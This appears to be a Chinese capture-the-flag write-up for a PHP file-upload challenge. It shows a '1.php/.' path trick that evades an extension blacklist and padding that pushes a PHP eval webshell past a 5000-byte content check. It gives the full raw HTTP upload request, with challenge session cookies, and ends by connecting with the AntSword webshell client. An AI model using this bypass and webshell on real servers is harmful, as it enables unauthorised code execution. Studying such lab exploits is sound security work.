奶龙牌WAF
拿到附件 不准上传后缀为ph和hta的文件 并且对文件大小有限制
代码关键处:

move_uploaded_file 函数
定义和用法:
1 2
| move_uploaded_file() 函数把上传的文件移动到新位置。 如果成功该函数返回 TRUE,如果失败则返回 FALSE。
|
语法:
1 2 3
| move_uploaded_file(file,newloc) file:必需。规定要移动的文件。 newloc:必需。规定文件的新位置。
|
提示
1 2
| 注释:该函数仅用于通过 HTTP POST 上传的文件。 注释:如果目标文件已经存在,将会被覆盖。
|
题目做法:
1
| 当move_uploaded_file函数参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.,所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php
|

这段代码代表只对前5000字节进行校验,意思是5000之后我们就可以传入危险内容(木马)。
使用print('a'*2000000+'<?php eval($_POST[1]);?>')
上传文件即可
数据包构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| POST /?name=1.php/. HTTP/1.1 Host: gz.imxbt.cn:20801 Content-Length: 1048752 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Origin: http://gz.imxbt.cn:20801 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycXLzLLazg0AJNoVA Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://gz.imxbt.cn:20801/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,zh-TW;q=0.7 Cookie: PHPSESSID=8177754fd454ad57569dea76792994c9; name="!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"; GZCTF_Token=CfDJ8MKySZ_mlO1BrUTiopFb3pr4sMLMFDp7VLwqIHHQ787J8MU9o7kzKDQgSGH3aUSAFreJelz-xjNcVon1NvCY9iAKz8ktIq-qB4r2jQSniDqdjks-AlNc7Rkw9ROQ3vAa9e0N-iumHmUWe1UcvM30oD4C_p5X2rfkyF4zaLlPcJte51OO6suesKAsKpiTzQ1RvmbX-oqD9hVQaRz0jBi9xFJ7fpCIh2-_Y8UzrQ8TgMQRwpHxaUjX6TUPWl2iaCoFCXNG5RSUU5JVX6JeXurix40S_LdkKSdgdmEXKkw1XNLb5v1YDumTpaGciQGUIVoxHZRwlEtgQ5eR3pq8O1_vm4yODQYq4Y0RPvc2MoJVYLZgX1u-EsroGJdBXAMr09bPEkPJYYerhs1QlP5t2Y8A076GE8Cv82ugOHeNStUNFBf_XQwunbSKJt0FaUtv0SdEu-EKn79ZcAd4m_Ui2-DypcJ6NW7yQrVoC31ElAZuLxFCuVZP4Jw_hZxvAhETL4Pm3Jbx0XR1Dv_Eyjirco1Gtowu44qH972w0qN2sbR2iTwatubxFs39PNNj6dBeZj3MsqihIS5JgY4aY2yAiSLgV586D0zNxFepVQR6_qSzYVX61OIiXKjnRACYg6F6neFGC7YwlYz260chM2RECVTWEqQOdR02WQ6HRcoMqFiFMMXchvAX7rW8t3RJ7T6dF_eel5le5oHsYhoxevoMfddEVM8 Connection: close
------WebKitFormBoundarycXLzLLazg0AJNoVA Content-Disposition: form-data; name="upload_file"; filename="1.php/." Content-Type: image/jpeg
"2000000个a"+<?php eval($_POST[1]);?>
------WebKitFormBoundarycXLzLLazg0AJNoVA--
|
上传连接蚁剑
